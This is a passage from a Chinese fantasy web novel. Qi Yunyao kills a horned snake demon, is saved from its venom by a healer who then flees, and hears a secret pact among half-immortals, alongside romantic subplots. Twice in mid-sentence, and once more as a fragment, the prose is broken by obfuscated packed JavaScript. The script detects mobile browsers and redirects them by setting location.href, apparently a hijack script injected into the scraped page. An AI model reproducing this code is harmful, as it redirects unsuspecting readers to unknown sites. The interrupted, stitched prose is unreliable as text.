祁云耀心底笃定:角蛇绝不可能藏在这里,在这的话稍有不慎就会被炸弹波及,它重伤之下,绝不会冒这个险。 那会在哪里? 他眉头拧得更紧,大脑飞速运转: 角蛇不会离战场太远,太远的话,一旦自身遭遇危险,它残存的幻术根本来不及驰援;可也不能太近,太近了,要么会被谢重楼和尹无霜伤到,要么会被失控的巨蛇误撞,以它现在的状态,根本经不起半点折腾。 所以它一定藏在一个安全、隐蔽,却又能近距离掌控全局的地方。 目光追着巨蛇,它所过之处,断木横飞、血肉模糊。 所以——角蛇会藏在断木堆里吗? 念头刚出他就很快否定了这个想法。无头巨蛇横冲直撞,断木被碾来碾去,藏在里面只会再次被误伤,太过冒险。 那到底会在哪里?一个既能够完美躲藏,又能被暗中保护的地方…… 保护? 他猛地将目光投向战场一侧——两颗硕大的蛇头依旧落在地上,狰狞的血肉不断鼓动,正以极其缓慢的速度蠕动再生。 就在那片不断蠕动的阴影里,他凝神细辨,终于看见了一抹细小的灰白身影。 是角蛇! 它藏在双头巨蛇的蛇头阴影里! “大叔!”祁云耀急声叫道,“你放我下去!我要去蛇头那里!” 夏阳眉头紧锁,脚下在树枝间腾跃如风,跑得虎虎生风:“小祖宗诶你去哪干什么啊!” “我有办法解决这些小蛇!全都解决!”祁云耀语气无比笃定,“只要你能悄悄送我过去!” 夏阳瞥了眼身后紧追不舍的蛇潮,又看了眼下方愈演愈烈的战场,犹豫不过刹那,咬牙应下。 “砰砰砰——” 三声炸响骤然撕裂林间寂静,白烟滚滚翻涌,里面还裹着零 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17177160|196908||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 星火光,刺鼻的火油味顺着风飘出老远。小蛇们闻到这气味,纷纷惊恐地嘶鸣后退,不敢再靠近源头。 鏖战中的三人下意识回头望去,林间白雾弥漫,视线模糊不清。 “那是怎么了?”尹无霜心头一紧,转身便要去查探,却被玉蝉伸手拦下。 玉蝉垂眸凝神片刻,轻声道:“三道气息都还在,应当无事。” 话音刚落,地面猛地一震。 那头无首巨蛇的身躯再次疯狂扭动,两颗被斩落的头颅已重新长出大半,粉嫩的新生血肉里,猩红的蛇信已经开始断断续续吐息,眼看就要彻底复原。 而周遭的蛇群似是受到鼓动,竟然变得更加凶狠,不再顾及金光护罩,长着尖牙便攻向三人。 “角蛇不在这里面。”谢重楼断言道。他们方才吸引巨蛇不断碾压就是想查看角蛇是否藏匿在蛇群里,然而并没有。 他手腕翻转斩断几只袭击他的小蛇,目光飘回烟雾弥漫的树林。转头同尹无霜对了个眼神,准备再次攻击巨蛇头部。 可下一瞬,异变陡生。 面前巨蛇体表的鳞光骤然黯淡下去,周身气势疯降;而围在他们四周密密麻麻变得躁动的小蛇群,竟在以肉眼可见的速度一点点虚化、消散,如同退潮般消失无踪。 谢重楼心头猛地一悸,像是被什么无形的丝线牵扯,蓦地回头望去。 只见远处,两颗巨大的蛇头旁,一道小小的身影站在狼藉血土之中。 是祁云耀。 他左臂上赫然被咬出一个狰狞的大窟窿,鲜血浸透衣袖,脸色惨白,却硬是没吭一声。 而他手里死死攥着的,是一条已经死透的通体灰白的蛇。 数息之前。 爆炸余威未散,白烟与火油味在林间炸开,呛得蛇群嘶鸣乱窜、判断大乱。 祁云耀一落地,便借着这层绝佳掩护,压低身子快步冲向那两颗巨蛇头颅。 角蛇蜷缩在蛇头血肉的缝隙里,断角处汩汩淌着生涩腥臭的血。它拼命张大嘴,试图吞噬最后一点残存的幻境力量滋补伤口,却发现那点力量微薄如烛火,连止住断角处的血都做不到。 恨意几乎撑破它残存的神智,角蛇低嘶一声,拼尽余力催动幻术,让蛇群攻势愈发疯狂暴戾。 可下一瞬,它猛地僵住—— 一股熟悉又致命的气息,已经逼近身前! 不等它扭动逃窜,那个亲手削断它一只角的少年,已经骤然出现在身旁。 祁云耀伸手一抓,精准攥住了角蛇冰凉细滑的尾巴。 “嘶嘶——!” 角蛇惊怒交加,猛地转头,獠牙闪着冷光,狠狠咬向祁云耀近在咫尺的手臂。他握着玄铁匕首的手抬起,本想格挡,却在刹那间硬生生顿住。故意没有躲,结结实实被角蛇咬中了手臂。 就是现在! 祁云耀疼得双眼通红,牙关紧咬,将全身力气尽数灌向右臂,手腕猛地一翻——玄铁匕首在昏暗夜色里划出一道寒芒。 “噗嗤——” 一声轻响,角蛇仅剩的那只尖角,应声被齐根削断。 断角落地的瞬间,角蛇的生机如同决堤洪水,飞速消散。它依旧死死咬着祁云耀的 22. 战后 角蛇一死,双头巨蛇瞬间失了所有狂戾,动作瞬间迟滞僵硬。 尹无霜看准时机,纵身掠上,剑光如匹练般横斩而出。 寒光一闪,两颗刚再生一半的蛇头轰然落地。 只是这一次,巨蛇再也没了重生之力,庞大的身躯抽搐数下,便重重砸在大地上,彻底没了声息。 她松了口气,欣喜之余转头想与谢重楼说些什么,却见身旁早已空无一人。 那道身影,正朝着巨蛇头颅的方向狂奔而去。 “云耀!” 谢重楼冲到近前。 只见祁云耀面色惨白无比,却还艰难地扯出一个小小的笑,举起手里死透的角蛇,虚弱又带着点邀功的意味:“我杀掉了角蛇……我……” 话音未落,他唇色愈发惨白,话没能说完,身子便猛地向前一栽。死蛇与玄铁匕首“哐当”落在地上,清脆刺耳。 谢重楼心脏骤然一缩,几乎是本能地伸手将人抱住。 怀中人的体温,低得吓人。 入冬已久,寒风刺骨。他们两人的外衣都留在天机阁的客栈里,此刻只穿着单薄里衣,方才激战一场尚不觉寒冷,此刻一静下来,连他都觉得寒意侵骨,更何况本就是凡胎□□又有暗伤的祁云耀。 谢重楼根本分不清,他究竟是蛇毒攻心,还是冻得快要失去意识。 手足无措,只能将人紧紧抱起,手臂用力,试图用体温温暖他。 尹无霜与玉蝉紧随而至。林间白烟渐渐散尽,夏阳也背着依旧昏迷的肖严谨赶了过来,一见这情景,立刻脱下自己的外袍,慌忙裹在祁云耀身上,可那点暖意,在刺骨寒风里不过是杯水车薪。 “云耀……云耀!” 谢重楼抱着怀中人轻轻晃动,那张向来没什么表情的脸上,罕见的露出明显的慌乱与无措。 可祁云耀双目紧闭,昏死一般,一动不动,连一丝回应都没有。 他猛地抬眼看向尹无霜,声音发紧,带着从未有过的慌张,一遍又一遍的问:“怎么办……怎么办?” 尹无霜眉头紧锁,也无对策,只能看向一旁的玉蝉。 玉蝉双手合十,轻轻摇头,声音轻而无奈:“我不通医术,救不了他。” “祁云耀……祁云耀——” 谢重楼又轻轻晃了晃怀里的人,声音控制不住地发抖,尾音里甚至带上了一丝几不可闻的哭腔,眼眸里一片慌乱。 尹无霜张了张嘴,想说些什么安慰,却也知道此刻任何话语都近乎徒劳,只能默默别开脸,不忍再看。 寒风卷着血腥味与尘土,掠过满地狼藉的战场,也卷过谢重楼怀里那具冰冷而安静的小小身躯。 “好冷啊。诸位凑一块是在取暖吗?” 冷不丁的,一道戏谑又懒洋洋的声音从背后响起,打破了这片死寂的慌乱。 几人猛地回头。 只见林间阴影里,一个裹着漆黑斗篷的小小身影缓缓踱步而出,兜帽压得略低,只露出一截比昏迷的祁云耀还要白的下巴,语气里带着几分看热闹的轻佻。 谢重楼几乎是瞬间绷紧脊背,将祁云耀又抱紧些,另一只手就要按上剑柄,锋利的目光直刺来人。 尹无霜皱了皱眉仔细辨认语气带着几分迟疑,“……花秽芳?” 花秽芳已经慢悠悠走到他们身边,像是刚注意到谢重楼怀里的人一般,夸张地低呼一声:“哎呀!这小孩怎么回事啊!怎么昏成这样啦!” 玉蝉双手合十,上前一步,低声道了句佛号:“阿弥陀佛。花施主出现在此地,是为何故?” “还能为何,被人赶出来了呗。” 花秽芳摊摊手,一脸无所谓,全然不在意谢重楼那几乎要杀人的警惕目光,径直在他身边蹲下身,伸手就要去探祁云耀的脉搏。 谢重楼脸色一冷,立刻侧身要挡。 尹无霜却飞快按住他的肩膀,压低声音急道,“他是药王谷的长老。” 谢重楼动作一顿,重新看向眼前这个之前闯入房间,又被自己打跑的人。没有多余的表情,只立刻收回阻拦的手,直截了当:“请你救救他。” 花秽芳嗤笑一声,指尖悬在祁云耀手腕上方,偏头看他,语气玩味:“你求人就是这个样子?” 尹无霜在一旁急得手心冒汗,恨不得替谢重楼说尽软话,却又不敢乱插嘴。 只见谢重楼沉默一瞬,再次开口,声音比刚才更低更沉:“求你救救他。” 花秽芳闻言咧嘴一笑,忽然故作痛苦地捂住自己之前被打伤的肩膀,夸张地哀嚎一声:“可你方才才伤了我,现在转头就想让我救你的人……天底下哪有这样的好事?” 尹无霜心头一沉,不知两人之间还有这般过节,此刻见花秽芳摆明了不想轻易出手,急得悄悄扯了扯玉蝉的袖口。可玉蝉只是垂眸合十,依旧不动声色。 谢重楼抱着祁云耀的手臂又紧了紧,低头看了一眼怀中人苍白冰凉的脸,再抬眼时,眼底已经隐隐约约染上了红色。 他直视着花秽芳,一字一句,清晰而郑重: “那你要怎么办?只要你救他——我做什么都可以。” “好啊!” 花秽芳立刻笑得眉眼弯弯,一副心满意足的模样,也不说到底要谢重楼做些什么,当即蹲下身。 他从斗篷下摸出三四个小巧的瓶罐,指尖一挑,瓶塞齐齐弹开,倒出几颗颜色各异的药丸,捏着祁云耀的下巴,轻巧地送入他口中,又抬手顺了顺他的喉间,助他咽下药力。 紧接着,他捡起祁云耀方才掉在地上的漆黑匕首,手腕一翻,对准祁云耀手臂上的蛇咬伤口轻轻一划。 黑中泛紫的毒血顺着刀口缓缓渗出,滴落在泥土里。他手法利落,按压、放血、擦净,整套动作行云流水,不过几息之间便全部做完。 末了,还故意呼哧呼哧喘了几口,装作大汗淋漓、耗力极重的模样,他收好匕首,拍了拍手:“哎呀哎呀,真是累死我了!” 可那张即便是孩童模样也能一眼看出将来必定绝色的小脸上,却挂着一丝怎么看都有些诡异的笑意。 花秽芳站起身,把祁云耀往一旁僵立的谢重楼怀里送了送,拖长了语调,笑眯眯提醒:“你可记得你答应我的事哦~” 谢重楼没有应声。 他的目光,早已牢牢锁在怀中人的脸上。 祁云耀的眼睫轻轻颤动了几下,眉头微微蹙起,像是在挣扎着从一片混沌中醒来。下一刻,他缓缓睁开了眼睛,眸中还有几分未散的茫然,显然没弄明白刚才究竟发生了什么。 “醒了……”尹无霜忍不住小声欢呼,下意识拉了拉身旁玉蝉的衣袖,悬着的心终于放下大半。 可玉蝉却没有丝毫喜色。 他缓缓抬起眼眸,那双素来平静无波的眸子,此刻直直落在花秽芳身上,语气清淡,却字字清晰: “贫僧很感激花施主出手救人。不过,若是打着救人的名头,从病人身上偷拿东西……恐怕就不大好了吧?” 花秽芳已经偷偷摸摸往外挪了好几步,闻言脚步猛地一顿,像被钉在了原地。 谢重楼抬眼望他,语气冷硬直接,不带半分迂回:“他身上蛇角不见了,是你拿了吗?” 花秽芳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17177161|196908||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 立刻举起双手,摆出一脸无辜又委屈的模样,摇头晃脑:“没有呀没有呀,我怎么会做这种事?我只是个手无缚鸡之力的柔弱医师,你们怎么能这么冤枉人?” 嘴上喊着冤枉,脚下却半点没停,反而一步步往远处退去。 一直插不上话的夏阳终于察觉不对,眉头一竖,刚喝了一声:“喂!” 声音刚落就见花秽芳猛地转身,朝着他先前出来的密林方向撒腿狂奔,由于斗篷下摆太长,绊得他脚步踉跄,却丝毫不影响速度。林间隐隐有华光流转,显然是准备动用秘术遁走。 他要跑! 谢重楼当即就要提剑追上去,手腕却忽然被轻轻拉住。 祁云耀还虚弱得很,脸色依旧苍白,指尖攥着他的衣袖,声音细弱:“别追他……我答应过他,不能追的——” 谢重楼动作一滞。 另一边,尹无霜早已拔剑出鞘,见花秽芳要逃,立刻便要纵身去拦,却被谢重楼反手一把拉住手腕。 “无霜姐。” 尹无霜回头,先是撞进谢重楼那双泛红的眼眶,而后视线下滑落到祁云耀那惨兮兮泛青的小脸,一大一小都可怜巴巴的望着她。再转头重新看了看那个拖着长斗篷跑得跌跌撞撞又十分滑稽却转眼就要没入林间的小身影,终究还是无奈收了剑,转而眼巴巴看向了一旁的玉蝉。 玉蝉只是双手合十,低低念了一声“阿弥陀佛”,便重新垂眸,闭目默念经文,不再多言。 一场追击就此作罢。 几人不再耽搁,一路搀扶着,陆续返回天机阁驻地修整。 好在当初夏阳到此地修筑据点时,生怕多花半分钱,一应事务全都是亲力亲为,半点没劳烦村里百姓。也正因如此,天机阁内的屋舍、水源、灯火,全都能正常供给,不受外界半分影响。 甚至连客栈旁那口井,都是夏阳特意绕了远路,从山上引泉水开凿而成——他死活不肯用村里的井,就怕事后被村民找上门,要平摊打井的费用。 此刻站在干净暖和的屋子里,喝着清冽的山泉水,夏阳忍不住拍着大腿,一脸庆幸地感慨:“还好当年有先见之明啊!” 天边已泛起淡白微光,破晓将近,折腾了一夜的众人都已是强弩之末。夏阳连声招呼众人上楼歇息,自己又往柴房去,捡了干透的柴火,在每位客人的房里都生起暖火,让屋子里慢慢烘得暖和起来,寒意一点点被驱散。 做完这一切他又快步去看了仍在昏睡的肖严谨,向尹无霜玉蝉仔细问了伤势。 得知肖严谨只是被林间寻常菜花蛇所咬,并非那两条妖蛇,这才长长松了口气,悬了半宿的心总算落了地。 祁云耀被谢重楼扶着,重新躺回温暖柔软的大床时,脑袋还有些昏沉发懵。 夜里那场腥风血雨仿佛都只是一场太过真实的噩梦,一睁眼,便只剩屋内暖火轻跳、安静安稳。 他乖乖喝下夏阳端来的温热药汁,苦涩滑入喉间,一股暖意缓缓顺着四肢百骸散开,眼皮却重得像坠了铅,困意铺天盖地涌来。 睡着前的最后一瞬,他迷迷糊糊地揪着被角,脑子里忽然闪过一丝空落——好像有什么很重要的事情,被他忘得一干二净。 是什么事来着? 他想转头问问身边的谢重楼,想扯扯他的衣袖,让他等等再睡。 可侧头一看,谢重楼也已是撑到了极限,眉眼间满是疲惫,就躺在他身边竟也不知不觉睡着了,呼吸轻浅而安稳。 算了……明天再想吧。 祁云耀迷迷糊糊地想着,再也抵不住汹涌的困意,脑袋一歪,也沉沉睡了过去。 23. 妖族 不知过了多久,祁云耀被一阵细碎的窸窣声吵醒。 他迷迷糊糊睁开眼,身边的谢重楼显然也刚被扰醒,眼神还迷离着,抬手胡乱搓了把脸,才慢慢坐起身。 窗外天色已经沉向黄昏,暖橘色的光斜斜洒进来,而那阵轻响还在继续,隐约夹杂着说话声,低低的,听不真切。 祁云耀刚要开口问“是谁在说话?”,就见谢重楼侧耳听了会猛地从床上弹起来,动作快得像阵风,“噌”地扑到床边,探着脑袋往下看,一瞬不瞬。 他被这突如其来的动作吓了一跳,连忙也爬过去,凑在他旁边一起往下看。 楼下不远处,站着两个人。 尹无霜脸颊通红,眉眼间全是羞涩,乖乖立在谢长泽面前,手一会搭在双剑上,一会又放下,是不是还捏捏自己的袖口。 谢长泽背对着他们却看得出来大抵和尹无霜是相同的羞涩,他露出来的耳尖红透了,手脚无措的站着。想要贴近面前人却又不敢,只能偷摸的靠近,然后又像是被什么束缚似的,猛地缩回一点,又情不自禁的靠近,又缩回。如此反复看着十分滑稽。 他们凑得很近,低声说着什么,没说几句就一起低低地笑,笑一会儿又接着说,说完又笑。 两个人都红彤彤的,满带笑意。那种模样仿佛下一秒就会害羞的钻进土里,但偏偏谁都不先走。就好像谁先挪步,谁就输了似的。* 祁云耀看得好奇,小声问谢重楼:“他们在说什么呀?” 身旁的人却只一脸匪夷所思,整颗脑袋都快探出窗沿,全神贯注侧耳偷听,压根没空理他。 偏偏就是这一句轻问,像是惊动了楼下的人——准确说,是惊到了尹无霜。 她猛地抬头,一眼就撞见窗沿上挤着的两颗脑袋。 “啊——!” 她当场惊叫一声,双手死死捂住发烫的脸,慌得更加手足无措,对着谢长泽胡乱鞠了好几个躬,转身落荒而逃,一头扎进了附近树林,连头都不敢回。 谢长泽也是立即回头,见到挂在窗户上的两个的脑袋脸颊红的更加吓人。 祁云耀分明看见,他在看见他们的瞬间,身子明显一僵,眼底也闪过一丝“想跑”的本能。但他却硬生生忍住了,勉强扯出一个礼貌得体的笑,脚下步子却迈得又大又急,几乎也是逃似的,一头钻进了客栈里。 再次相见时,谢长泽已经将异常收拾得妥帖妥当,唯有耳尖与脸颊还残留着淡红,但乍一眼望去,依旧是那位温润如玉、举止有度的翩翩君子。 他推门走入二人房间,先上前一步,仔细查看了祁云耀与谢重楼的气色,温声关切伤势,确认无大碍后,才转头看向祁云耀,语气里带着赞许:“此番还要多些祁小公子及时传信,若非你的传信,我等还不知清巷一带竟藏着如此厉害的妖物。” 祁云耀被他这样夸赞,有些不好意思地低下头。也就在这一瞬,他脑子里那根一直空着的弦忽然绷紧——他终于想起,自己睡前究竟忘了什么事。 是传信。 是他冒险把妖蛇作乱的消息送了出去,引来了谢长泽等人支援。 念及此,祁云耀立刻抬起头,十分紧张连忙追问:“那你……那你有没有把这件事,告诉我爹娘和剑庄的人?” 他和谢重楼,是偷偷溜出来的。若是让父母知晓他深陷妖蛇险境,即便最后邪祟已除,必定也要不顾他的旧伤将他悬在房梁抽上个三天三夜,往后如果再想出门,那就是难如登天了。 谢长泽闻言,脸上温和笑意缓缓收敛,取而代之的是一种少见的严肃。他轻轻握住祁云耀的手,语气郑重:“我正要同你说这件事。” “蛇妖作乱一事,你千万不可对外声张,尤其不能告诉你父母。” 祁云耀猛地一怔,有些不解地睁大眼。 谢长泽却没有直接解释,而是缓缓开口,说起了一段早已被岁月尘封、只在顶尖修士之间流传的旧事: “万古之前,人、妖、灵三族鼎立,天地灵气充沛,修行易如反掌。可后来天道变迁,灵气日渐枯竭,妖、灵两族势力锐减,逐渐隐世;人族修士也再难像上古先辈那样,轻易吸纳灵气、淬炼肉身——这些你应当是知晓的。” 祁云耀轻轻点头,可依旧不明白,这与隐瞒消息有何关联。一旁的谢重楼也抬眼望来,神色认真,显然这些过往,师兄从前并未对他细说。 “半仙的传说,你也不陌生。”谢长泽轻声一笑,语气却异常冷静,“即便身为半仙,我也要说一句大逆不道的——半仙的存在其实是极不合理的,甚至可以说,是搅乱天地秩序的存在。” “天道没落,灵气衰微,按天地平衡之理,人族本该与妖、灵两族一同慢慢走向沉寂。可半仙出现了,以近乎逆天的姿态,强行延续了人族的鼎盛。” “所以大抵是天道为求平衡吧,妖灵两族竟然开始重新复苏。” 他顿了顿:“你想必也能察觉,如今的凡人,比起半仙而言太过弱小。即便是你大哥那样的天骄,修行速度与上限,也比不上后来修炼的重楼。” “事实上,地宗三派之中,除了西门一家还勉强坚守修士道统,其余两派重心,早已不在修道之上。凡人的时代,正在悄悄过去。” “而半仙真正意识到这一点,是在两百年前的血月之战。” “那时大妖乱世,血月邪教祸乱人间,天盟地宗联手抗敌。也正是那一战,让所有半仙看清了凡人的脆弱——他们无力抵挡真正的妖邪,一旦卷入,只会徒增伤亡。” “战后,由你谢青师傅牵头,天盟地宗暗中开了一次小会。就在那次会议上,天盟与地宗达成了一个并未对外公开的共识——” 谢长泽目光一沉,一字一句: “后世但凡涉及妖灵复苏、大妖乱世之事,一律由半仙处置,绝不牵扯凡人修士,更不向凡人家族、凡俗政权通报。” “你父母皆是凡人,即便出身剑庄,也无半仙修为。此事若让他们知晓,只会平白担忧,甚至可能惊动凡俗势力贸然介入,反而酿成更大灾祸。” “所以——”他看着祁云耀,语气放缓,“这件事,你知、我知、重楼知,在场众人知,便足够了。万万不可再向外传。” 祁云耀只觉得脑子里像是被狠狠砸了一拳,无数从未听过的秘闻一股脑全塞了进来,乱得他几乎不会思考,只能怔怔坐在床边,半天回不过神。 谢长泽见他一时消化不了,便不再多言,转而将目光落向一旁的谢重楼。 他似乎是是早就察觉到什么,先是随口问了几句战斗细节,又忽然出其不意地探问伤势,几番追问下来终于找出来谢重楼的受伤之处。 谢长泽又是心疼又是无奈,一边给师弟疗伤敷药,一边期期艾艾地碎碎念,说些什么“重楼是不喜欢师兄了吗?”“重楼长大了啊!”“重楼要是不喜欢师兄的话师兄可以走”之类的酸话。 那语气委屈又哀怨,听得谢重楼头皮发麻,只能一遍又一遍低声保证,日后再有伤势必定第一时间告知,绝不隐瞒。 谢长泽这才满意收了手,像个打了胜仗的人,微微一笑,告辞离去。 房门关上,房间里终于恢复安静。 祁云耀也慢慢缓过神,两人互相扶着穿戴整齐,一同下楼。 刚走到一楼,便撞见去而复返的尹无霜。 她一见两人,脸颊又是“唰”地一红,显然还没忘记方才被撞破的糗事,脚步一转,几乎是立刻就要往门外逃。 “无霜姐姐!” 祁云耀连忙出声叫住她,“一起吃饭吧!” 尹无霜脚步猛地顿住,僵在原地片刻,终究还是慢慢转了回来,低着头,耳根通红,一言不发地在桌边坐下,全程不敢抬眼看两人半分。 祁云耀叫住她,本就不是只为吃饭。 他心里一直惦记着那个神秘古怪的小少年。之前尹无霜一眼便认出对方,显然是知道些什么。 听见祁云耀开口问的不是她和谢长泽的事,尹无霜明显松了口气,无措的神情淡去不少,低头思索片刻,慢慢开口。 “他的事情,大多是我爹以前跟我提过,我自己没怎么和他接触过……不过,他好像可以变成小孩的样子。” “变成小孩?”祁云耀一愣。 “嗯。”尹无霜轻轻点头,“具体是仙缘,还是别的什么,我也不清楚。我上一次见到他的时候,他还是个身形很高大的男子,这次不知为何变成了孩童模样。但他那张脸……实在太过惹眼,让人看一眼就忘不掉,所以我才一眼就认出来是他。” “他怎么好像什么都知道一样?”祁云耀一边往嘴里扒饭,一边含糊问道。 “我也不太清楚。”尹无霜托着腮,认真回想了片刻,又补充道,“不过我听我爹说,他活了很久很久……可能有几千年了。” “这样啊。”祁云耀抱着饭碗,默默低下头,不再说话。 “对了,你们以后没事,千万别去招惹他。”尹无霜忽然正色起来,压低声音提醒,“我还听过一些传言,说他一直在偷偷做各种古怪的实验……你们可别被他抓去当试验品了!” 祁云耀缩了缩脖子,赶紧埋头扒饭,一副生怕被盯上的模样。 谢重楼看了一眼他碗里几乎全是肉,默默伸筷,夹了好几筷子青菜堆进他碗里,语气老成:“祁掌门说过,你必须多吃青菜,不然她就要亲自过来喂你。” 祁云耀立刻伸手护住碗口,紧张兮兮地严防死守,生怕碗里再被蔬菜“攻陷”。 “重楼。”尹无霜忽然开口,眼睛亮晶晶的,“姐姐突然有件事,想问你。” 两人同时抬头看向她。 尹无霜却一下子扭捏起来,磨蹭了半天也没说出一个字,最后干脆双手捂住脸,仿佛这样才能攒起全部勇气。 她的声音又轻又细,带着颤抖:“你师兄……他有没有喜欢的人啊?” 谢重楼微微一怔,心里觉得有些奇妙——前阵子刚有人给他解释过什么叫“喜欢”,怎么才过没多久,就接连有人问起这个词。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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祁云耀嘴里的饭还没咽下去,鼓着腮帮子愣住。 他刚才听谢重楼乱报一通,心里就隐隐觉得哪里不对劲,可还没等他找出问题所在,尹无霜已经直接开嚎。 她哭得实在太响亮,连后厨都被惊动。 夏阳手里还抄着锅铲,肖严谨捏着一把没择完的青菜,两人一前一后急匆匆从灶房冲出来,一脸紧张地盯着哭得撕心裂肺的尹无霜,又看看对面手足无措、一脸茫然的两个小孩,当场懵在原地。 不等他们上前询问,尹无霜突然猛地一拍桌子。 “砰——” 碗碟震得叮当乱响,几碟小菜都被震得飞起来半寸,又狼狈落回桌面。她猛地抬起一张满是泪痕的花脸,不知是在吼给自己听,还是怎么。 扯开嗓子大叫:“不就是喜欢大家闺秀嘛!我怎么就不是大家闺秀啦!啊啊啊!” 一声怒吼震得似乎屋子都在颤,话音未落,她抓起桌边的双剑,转身就风风火火冲出了客栈。 屋内瞬间安静下来,只留下几道面面相觑的人影,你看我、我看你,谁都没敢出声。 两人吃完饭,便慢悠悠回了房间。 早早洗漱完毕,双双躺回床上,屋里只留一盏微弱的灯火,暖融融的。 祁云耀躺着躺着,脑子里又忍不住想起刚才尹无霜又哭又吼、冲出门去的模样,心里轻轻一动。 他悄悄侧过身,伸手扯了扯谢重楼的衣袖。 谢重楼转过头,正好对上他亮晶晶、满是期待的眼神。 祁云耀压低声音,轻声问:“那你呢?你喜欢什么类型的人?” 他故意没说“姑娘”两个字,心底藏着一点点小小的、不敢明说的私心。 要是谢重楼说喜欢自己……那该多好啊。 可下一秒,就听谢重楼认真想了想,一本正经道:“我喜欢练剑,所以我喜欢练剑的?” 他瞬间垮下脸,嘴巴微微瘪起,不依不饶地追着问:“还有吗?还有吗?” 谢重楼皱着眉认真思索了一会儿,忽然反问:“我没有的东西,但我很喜欢……也算吗?” “算的算的!当然算!”祁云耀连忙点头,眼睛都亮了几分。 “那……”谢重楼顿了顿,轻声说,“我应该喜欢眼睛漂亮的吧。” 说完这句,他便像是想完了所有答案,一脸笃定,再没别的话。 这可把祁云耀愁坏了,他凑得更近,急急忙忙追问:“你说的眼睛漂亮,是哪种漂亮啊?是像肖严谨那样眼睛圆圆的、大大的,还是像花秽芳那样,眼尾往上翘的呀?” 谢重楼盯着他,忽然把脑袋一蒙,裹紧被子,死活不吭声了。 祁云耀急得不行,干脆坐起身,伸手轻轻推他的背:“你快说啊!告诉我嘛!” 谢重楼被他缠得没法,终于缓缓翻过身,一抬眼,就直直对上祁云耀那双焦急又明亮的眼睛——瞳孔黑黑润润,睫毛又长又密,一眨一眨的,十分漂亮。 他沉默了一瞬,猛地又转回身去,把脸埋在枕头里,声音闷闷的:“我不告诉你!” “谢重楼!!” 24. 锻剑 次日一早,天盟众人将清巷一带彻底探查完毕,谢长泽才把最终结果,简略说与谢重楼与祁云耀知晓。 原来,清巷这个地方,在外地的舆图上,根本就不存在。唯一有的便是一藏在山林间的一个长约百米的蛇洞。 所谓的村落、田舍、往来村民,乃至鸡犬牲畜,全都是由另一只角蛇以妖力幻化出来的幻境。 而之前被祁云耀亲手斩杀的那只小角蛇,应当是刚破壳不久,凭着血脉气息寻到此处,与盘踞山洞里的双头蛇达成了默契——双头蛇作为角蛇的助力吞噬幻境滋补妖躯,而角蛇则是以幻境支撑,给予双头蛇以不死的身躯。 若不是祁云耀与谢重楼恰好途经此地、撞破此事,等到双头蛇彻底吞掉清巷幻境、毁去天机阁驻地,外界恐怕直到很久以后,都不会有人察觉这里曾发生过一场大祸。 真相明了,众人也不便多留。 谢长泽率天盟修士先行折返复命,只叮嘱二人路上小心,尹无霜和玉蝉继续游历四方打磨心性。夏阳的驻地被毁便跟着肖严谨回去总部,准备着日后东山再起,祁云耀与谢重楼也收拾行装,踏上了回家的路。 冬日的林间尚有残霜,两人一左一右,紧紧挨着前行,影子在地上靠得极近。 祁云耀垂眸看了看自己的手臂。 当初被角蛇一口咬穿的窟窿,此刻竟已收口结痂,愈合速度远非凡人肉身所能企及。想来是花秽芳那几颗看似随手喂下的丹药古怪,竟能让凡人短暂拥有近乎仙躯的自愈之力。 不止外伤,连之前被谢重楼失手震出的内伤,也在以惊人的速度好转,照这般下去,至多一个月,便能彻底痊愈。 他心底,悄然浮起一丝不安。 伸手轻轻拽住谢重楼一侧衣袖,脚步不自觉放慢,心脏在胸腔里怦怦乱撞。他只能胡乱扯个话题,掩去自己的慌张: “所以……还有一只角蛇,藏在世间?” “不能确定。”谢重楼声音平静,“角蛇身死之后,它所布下的幻术,仍能在世间存续许久,时长全凭其生前修为。能布出这样浩大幻境,且历经数十载而不灭,这只角蛇,少说也有千年道行。” 他顿了顿,语气肯定:“千年大妖本就稀少,师兄与天盟诸位长老商议过后,大多认定,它便是当年血月一战中,被正道联手斩杀的那只。” “原来如此。”祁云耀轻轻点头。 血月一战的细节,他其实不甚清楚,想来是当年天盟与地宗合力镇压,将消息封锁严密。他不愿多问,也不敢多问,只目光轻轻一转,忽然抛出了另一个问题—— “等我好了……你是不是,立刻就要走?” 谢重楼明显一怔,脚步骤然顿住,转头看向他。 四目相对。 两个人眼里是不同的情绪。祁云耀的眼底是忐忑,是期盼,还有他自己都说不清楚的怯意;而谢重楼的目光里,却翻涌着他读不懂的东西。 空气像是被冻住了一瞬。 见他久久不语,祁云耀喉间发涩,又轻声重复了一遍: “等我痊愈,你是即刻回去,还是……会留在西门?” 谢重楼依旧沉默。 他缓缓移开视线,下颌线条绷得极紧,喉结轻轻滚动,只发出一声几不可闻的低哑咕哝。眉峰蹙起,像是有千言万语堵在胸口,可每当视线再度撞上祁云耀的眼睛,那些话便又硬生生咽了回去。 良久,他才艰涩地开口,声音很低: “我……可以不说吗?” 只这一句,祁云耀便已懂了答案。他强装不在意道:“当然可以啊。” 实际上心里难过极了。 两人偷偷摸摸的回到西门。不出所料的没人发现他们两个消失了近三天。 